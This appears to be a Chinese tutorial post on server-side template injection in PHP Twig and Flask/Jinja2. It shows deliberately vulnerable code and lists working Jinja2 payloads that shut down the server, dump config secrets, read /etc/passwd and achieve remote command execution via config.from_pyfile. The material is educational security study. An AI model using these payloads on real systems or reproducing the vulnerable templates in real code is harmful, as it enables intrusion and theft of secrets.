標籤:
服務端模板注入1、模板注入原理
和常見Web注入的成因一樣,也是服務端接收了使用者的輸入,將其作為 Web 應用程式模板內容的一部分,在進行目標編譯渲染的過程中,執行了使用者插入的惡意內容,因而可能導致了敏感資訊泄露、代碼執行、GetShell 等問題。其影響範圍主要取決於模版引擎的複雜性。
<?phprequire_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;Twig_Autoloader::register(true);$twig = new Twig_Environment(new Twig_Loader_String());$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 將使用者輸入作為模版變數的值echo $output;
使用 Twig 模版引擎渲染頁面,其中模版含有 {{name}} 變數,其模版變數值來自於 GET 請求參數 $_GET["name"]。
顯然這段代碼並沒有什麼問題,即使你想通過 name 參數傳遞一段 JavaScript 代碼給服務端進行渲染,也許你會認為這裡可以進行 XSS,
但是由於模版引擎一般都預設對渲染的變數值進行編碼和轉義,所以並不會造成跨站指令碼攻擊:
但是,如果渲染的模版內容受到使用者的控制,情況就不一樣了。修改代碼為:
<?phprequire_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;Twig_Autoloader::register(true);$twig = new Twig_Environment(new Twig_Loader_String());$output = $twig->render("Hello {$_GET[‘name‘]}"); // 將使用者輸入作為模版內容的一部分echo $output;
對比上面兩種情況,簡單的說服務端模板注入的形成終究還是因為服務端相信了使用者的輸出而造成的(Web安全真諦:永遠不要相信使用者的輸入!)
詳情請看rickgray的服務端模板注入攻擊 (SSTI) 之淺析
2、SSTI對基於Flask/Jinja2開發堆棧的應用程式的攻擊
如果開發人員使用字串格式化,來將使用者輸入動態地加入到模板字串中,而不是通過render_template_string函數將URL傳遞進入模板內容當中:
1 @app.errorhandler(404) 2 def page_not_found(e): 3 template = ‘‘‘{%% extends "layout.html" %%} 4 {%% block body %%} 5 <div class="center-content error"> 6 <h1>Oops! That page doesn‘t exist.</h1> 7 <h3>%s</h3> 8 </div> 9 {%% endblock %%}10 ‘‘‘ % (request.url)11 return render_template_string(template), 404
注入姿勢:
1)、內省request對象。request對象是一個Flask模板全域變數,代表“當前請求對象(flask.request)”。當你在視圖中訪問request對象時,它包含了你預期想看到的所有資訊。在request對象中有一個叫做environ的對象。request.environ是一個字典,其中包含和伺服器環境相關的對象。該字典當中有一個shutdown_server的方法,相應的key值為werkzeug.server.shutdown。所以猜猜看我們向服務端注入{{ request.environ[‘werkzeug.server.shutdown‘]() }}會發生什嗎?沒錯,會產生一個及其低層級的拒絕服務。當使用gunicorn運行應用程式時就不會存在這個方法,所以漏洞就有可能受到開發環境的限制。
2)、內省config對象。config對象是一個Flask模板全域變數,代表“當前設定物件(flask.config)”。它是一個類似於字典的對象,其中包含了應用程式所有的配置值,包含若干獨特方法的子類:from_envvar,from_object,from_pyfile,以及root_path。在大多數情況下,會包含資料庫連接字串,第三方服務憑據,SECRET_KEY之類的敏感資訊。
對於新載入的模組,from_object方法會將那些變數名全是大寫的屬性添加到config對象中。注入payload{{ config.items() }}就可以輕鬆查看這些配置了。
3)、使用非常重要的內省組件: __mro__和__subclasses__屬性。
__mro__中的MRO代表方法解析順序,並且在這裡定義為,“是一個包含類的元組,而其中的類就是在方法解析的過程中在尋找父類時需要考慮的類”。__mro__屬性以包含類的元組來顯示對象的繼承關係,它的父類,父類的父類,一直向上到object(如果是使用新式類的話)。它是每個對象的元類屬性,但它卻是一個隱藏屬性,因為Python在進行內省時明確地將它從dir的輸出中移除了(見Objects/object.c的第1812行)。
__subclasses__屬性則在這裡被定義為一個方法,“每個新式類保留對其直接子類的一個弱引用列表。此方法返回那些引用還存在的子類”。
** 使用__mro__屬性來訪問對象的父類,使用__subclasses__屬性來訪問對象的子類。
4)、{{ ‘‘.__class__.__mro__ }}作為payload注入到SSTI漏洞點當中,
使用索引2來選擇object類。現在我們到達了object類,我們使用__subclasses__屬性來dump應用程式中使用的所有類(找到file類的索引)
將{{ ‘‘.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞點當中
5)、任意檔案讀取POC:
file類能夠執行個體化檔案對象,而且如果我們執行個體化了一個檔案對象,那麼我們就可用使用類似於read的方法來讀取相關內容。
找到file類的索引,在我的環境中<type ‘file‘>類的索引是40,我們就注入{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read() }}。
所以現在我們就證明了,通過Flask/Jinja2中的SSTI進行任意檔案讀取是有可能的。
6)、第一種代碼執行POC:
file類不僅去讀檔案,而且也可以向目標伺服器的可寫入路徑中寫檔案,
然後我們再通過SSTI漏洞第二種代碼執行poc調用from_pyfile方法去compile檔案並執行其中的內容。這就是一個二次進攻。
將{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘<malicious code here>‘‘) }}注入到SSTI漏洞點,
然後在通過注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}調用編譯過程。該代碼在編譯時間將會被執行。這就實現了遠程代碼執行。
7)、第二種代碼執行POC:充分地利用from_pyfile方法。
將{{ ‘‘.__class__.__mro__[2].__subclasses__()[40](‘/tmp/owned.cfg‘, ‘w‘).write(‘from subprocess import check_output\n\nRUNCMD = check_output\n‘) }}注入到SSTI漏洞點,
注入{{ config.from_pyfile(‘/tmp/owned.cfg‘) }}來將新的項目添加到config對象中,
將{{ config[‘RUNCMD‘](‘/usr/bin/id‘,shell=True) }}注入到SSTI漏洞點。
詳情請看Larry的Exploring SSTI in Flask/Jinja2
服務端模板注入(SSTI攻擊)